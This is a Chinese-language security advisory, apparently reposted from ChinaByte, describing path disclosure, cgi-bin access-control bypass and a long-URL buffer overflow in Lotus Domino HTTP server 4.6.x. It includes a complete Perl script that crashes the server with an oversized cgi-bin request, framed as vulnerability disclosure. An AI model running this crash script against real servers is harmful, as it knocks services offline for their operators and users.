Lotus Domino HTTP server 漏洞

 受影响系统:

  Lotus Domino HTTP server v4.6.4,4.6.5,4.6.6 4.6.6b.

  描述:

  Lotus Domino HTTP server也可以用来做使用静态html文档和执行cgi脚本的普通Web服务器。

  这些功能缺省是打开的,并且将\domino\cgi-bin映射为/cgi-bin。

  它在处理cgi请求的时候存在三个安全漏洞:

  1. 泄露本地文件系统的配置信息

  当发送一个不存在的cgi请求时,例如:http://server/cgi-bin/blabla, HTTP的回答是:

  Error 500

  Bad script request -- no variation of 'c:/notes/data/domino/cgi-bin/blabla' is

  executable

  这可以用来获取操作系统以及HTTP server安装的信息

  2. 关闭对Notes Name与Address Book的服务器文档的匿名访问,并不影响cgi-bin目录:仍然

  允许匿名访问。同样即使打开"SSL redirection of entire server"功能,仍然可以通过

  HTTP端口访问cgi-bin.

  3. 长CGI文件名导致缓冲区溢出。

  当发送一个很长的cgi URL时,HTTP server会产生一个缓冲区溢出。HTTP服务将立刻崩溃,

  不再响应任何的HTTP请求。如果Domino作为一个NT服务被执行,它不会完全停止,但你需

  要杀掉内存中的相应进程(用Reskit中的kill.exe)或者重新启动Windows NT.

  这些非法请求不会使服务器当掉,但发送'GET /cgi-bin/... (800 .) aaaa (4000 a) HTTP

  /1.0' 会杀掉nHTTP.exe。

  拒绝服务的问题尚未在Unix版本中验证。但第一个和第二个漏洞在Unix版本中应该也存在。

  测试方法:

  警 告

  以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

  #!/usr/bin/perl -w

  # This will crash Lotus Domino Server (tested on 4.6.4,4.6.5,4.6.6 and

  # 4.6.6b).

  # (c) Alain Thivillon, Stephane Aubert and Herve Schauer Consultants 1999

  use LWP::UserAgent;

  $ua = new LWP::UserAgent;

  $ua->agent("a");

  $target='Insertyourtargetnamehere';

  $url="http://".$target."/cgi-bin/".'.'x800;

  $url.='a'x4000;

  my $req = new HTTP::Request GET => $url;

  my $res = $ua->request($req);

  if ($res->is_success) {

  print $res->content;

  }

  else {

  print "Well done, Joe\n";

  }

  建议:

  如果你的Domino server不需要cgi-bin,那就将cgi-bin目录改变到一个很难猜测的目录名。

  目前尚未有明确的方法来停止对cgi-bin的操作。

原文出自【比特网】,转载请保留原文链接:http://sec.chinabyte.com/290/11168290.shtml

分享到